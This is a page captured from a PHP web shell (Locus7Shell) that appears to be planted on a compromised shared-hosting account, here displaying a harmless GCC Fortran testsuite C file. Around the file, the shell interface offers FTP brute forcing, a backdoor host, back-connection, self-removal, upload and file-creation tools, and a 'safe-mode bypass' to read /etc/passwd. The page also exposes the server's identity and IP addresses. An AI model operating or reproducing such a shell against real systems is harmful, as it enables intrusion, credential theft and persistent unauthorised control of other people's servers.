Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gfortran.dg/c-interop/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     allocate-errors-c.c (2.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>

#include <ISO_Fortran_binding.h>
#include "dump-descriptors.h"

struct s {
  int i;
  double d;
};

static long buf[5][4][3];

/* External entry point.  */
extern void ctest (void);

void
ctest (void)
{
  int bad = 0;
  int status;
  CFI_CDESC_T(3) desc;
  CFI_cdesc_t *dv = (CFI_cdesc_t *) &desc;
  CFI_index_t ex[3], lb[3], ub[3];
  CFI_index_t sm;

  /* On entry, the base_addr member of the C descriptor shall be a null
     pointer.  */
  sm = sizeof (struct s);
  check_CFI_status ("CFI_establish",
            CFI_establish (dv, NULL, CFI_attribute_allocatable,
                   CFI_type_struct, sm,
                   0, NULL));
  check_CFI_status ("CFI_allocate",
            CFI_allocate (dv, NULL, NULL, 69));
  status = CFI_allocate (dv, NULL, NULL, 42);
  if (status == CFI_SUCCESS)
    {
      fprintf (stderr,
           "no error for CFI_allocate of already-allocated object\n");
      bad ++;
    }
  check_CFI_status ("CFI_deallocate",
            CFI_deallocate (dv));

  /* The attribute member of the C descriptor shall have a value of
     CFI_attribute_allocatable or CFI_attribute_pointer.  */
  ex[0] = 3;
  ex[1] = 4;
  ex[2] = 5;
  check_CFI_status ("CFI_establish",
            CFI_establish (dv, NULL, CFI_attribute_other,
                   CFI_type_long, 0, 3, ex));
  lb[0] = 1;
  lb[1] = 2;
  lb[2] = 3;
  ub[0] = 10;
  ub[1] = 5;
  ub[2] = 10;
  sm = sizeof (long);
  status = CFI_allocate (dv, lb, ub, 20);
  if (status == CFI_SUCCESS)
    {
      fprintf (stderr,
           "no error for CFI_allocate of CFI_attribute_other object\n");
      bad ++;
    }

  /* dv shall be the address of a C descriptor describing the object.
     It shall have been allocated using the same mechanism as the
     Fortran ALLOCATE statement.  */
  ex[0] = 3;
  ex[1] = 4;
  ex[2] = 5;
  check_CFI_status ("CFI_establish",
            CFI_establish (dv, NULL, CFI_attribute_pointer,
                   CFI_type_long, 0, 3, ex));
  status = CFI_deallocate (dv);
  if (status == CFI_SUCCESS)
    {
      fprintf (stderr,
           "no error for CFI_deallocate with null pointer\n");
      bad ++;
    }

  /* This variant is disabled.  In theory it should be possible for
     the memory allocator to easily check for pointers outside the
     heap region, but libfortran just calls free() which has no provision
     for returning an error, and there is no other standard C interface
     to check the validity of a pointer in the C heap either.  */
#if 0  
  check_CFI_status ("CFI_establish",
            CFI_establish (dv, buf, CFI_attribute_pointer,
                   CFI_type_long, 0, 3, ex));
  status = CFI_deallocate (dv);
  if (status == CFI_SUCCESS)
    {
      fprintf (stderr,
           "no error for CFI_deallocate with non-allocated pointer\n");
      bad ++;
    }
#endif

  if (bad)
    abort ();
}


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--